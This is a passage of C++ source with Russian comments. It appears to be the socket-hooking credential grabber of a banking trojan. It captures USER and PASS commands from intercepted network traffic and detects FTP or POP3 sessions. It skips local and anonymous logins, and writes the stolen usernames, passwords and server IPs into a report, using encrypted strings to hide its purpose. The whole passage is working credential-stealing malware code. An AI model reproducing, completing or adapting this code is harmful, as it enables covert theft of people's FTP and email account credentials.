      WDEBUG1(WDDT_INFO, "argument=%s", argument);
    }

    //Добавляем промежуточные данные.
    SOCKETDATA *sd;
    bool ok = false;

    CWA(kernel32, EnterCriticalSection)(&socketDataCs);
    if((sd = socketDataSearch(socket)) == NULL && (sd = socketDataCreate(socket)) == NULL)Mem::free(argument);
    else
    {
      ok = true;
      if(data[0] == 'U')
      {
        socketDataFree(sd, true); //Обнуляем данные.
        //Mem::free(sd->userName);
        sd->userName = argument;
      }
      else //if(data[0] == 'P')
      {
        Mem::free(sd->pass);
        sd->pass = argument;
      }
      sd->socket = socket;
    }
    CWA(kernel32, LeaveCriticalSection)(&socketDataCs);
    
    //Рекрусия на следующие данные после \r\n.
    /*
    if(ok)
    {
      LPSTR dataEnd = data + dataSize;
      while(nextLine < dataEnd && (*nextLine == '\r' || *nextLine == '\n'))nextLine++;
      if(nextLine < dataEnd)ok = socketGrabber(socket, (LPBYTE)nextLine, (DWORD)(DWORD_PTR)(dataEnd - nextLine));
    }
    */
    return ok;
  }
  
  //Опеределение протокола.
  if(dataSize > 1)
  {
    bool ok = false;

    CWA(kernel32, EnterCriticalSection)(&socketDataCs);
    SOCKETDATA *sd = socketDataSearch(socket);
    if(sd != NULL)
    {
      if(sd->userName == NULL || sd->pass == NULL)socketDataFree(sd);
      else
      {
        BYTE protocolType      = 0;
        WCHAR protocolTypeStr[max(CryptedStrings::len_sockethook_report_prefix_ftp, CryptedStrings::len_sockethook_report_prefix_pop3)];

        //Опеределяем протокол.
        if(0){}
#       if(BO_SOCKET_FTP > 0)
        else if((dataSize >= 3 && (data[0] == 'C' || data[0] == 'P') && data[1] == 'W' && data[2] == 'D') ||
                (dataSize >= 4 && (XOR_COMPARE(data, 0x45505954/*TYPE*/) || XOR_COMPARE(data, 0x54414546/*FEAT*/) || XOR_COMPARE(data, 0x56534150/*PASV*/)))
               )
        {
          protocolType    = BLT_LOGIN_FTP;
          CryptedStrings::_getW(CryptedStrings::id_sockethook_report_prefix_ftp, protocolTypeStr);
        }
#       endif
#       if(BO_SOCKET_POP3 > 0)
        else if(dataSize >= 4 && (XOR_COMPARE(data, 0x54415453/*STAT*/) || XOR_COMPARE(data, 0x5453494C/*LIST*/)))
        {
          protocolType    = BLT_LOGIN_POP3;
          CryptedStrings::_getW(CryptedStrings::id_sockethook_report_prefix_pop3, protocolTypeStr);
        }
#       endif
        WDEBUG1(WDDT_INFO, "protocolType=%u", protocolType);

        if(protocolType != 0)
        {
          SOCKADDR_STORAGE sa;
          int size = sizeof(SOCKADDR_STORAGE);

          if(CWA(ws2_32, getpeername)(socket, (sockaddr *)&sa, &size) == 0 && !WSocket::_isLocalIp(&sa))
          {
            bool write = false;             

            if(0){}
#           if(BO_SOCKET_POP3 > 0)
            else if(protocolType == BLT_LOGIN_POP3)
            {
              write = true;
            }
#           endif
#           if(BO_SOCKET_FTP > 0)
            else if(protocolType == BLT_LOGIN_FTP)
            {
              CSTR_GETW(anonymous, sockethook_user_anonymous);
              if(Str::_CompareW(sd->userName, anonymous, -1, CryptedStrings::len_sockethook_user_anonymous - 1) != 0)write = true;
            }
#           endif

            if(write == true)
            {
              WCHAR ipAddress[MAX_PATH];
              WSocket::ipToStringW(&sa, ipAddress);
              CSTR_GETW(reportFormat, sockethook_report_format);
              Report::writeStringFormat(protocolType, NULL, NULL, reportFormat, protocolTypeStr, sd->userName, sd->pass, ipAddress);
            }
          }
          socketDataFree(sd);
        }
      }
    }
    CWA(kernel32, LeaveCriticalSection)(&socketDataCs);
    
    return ok;
  }

  return false;
}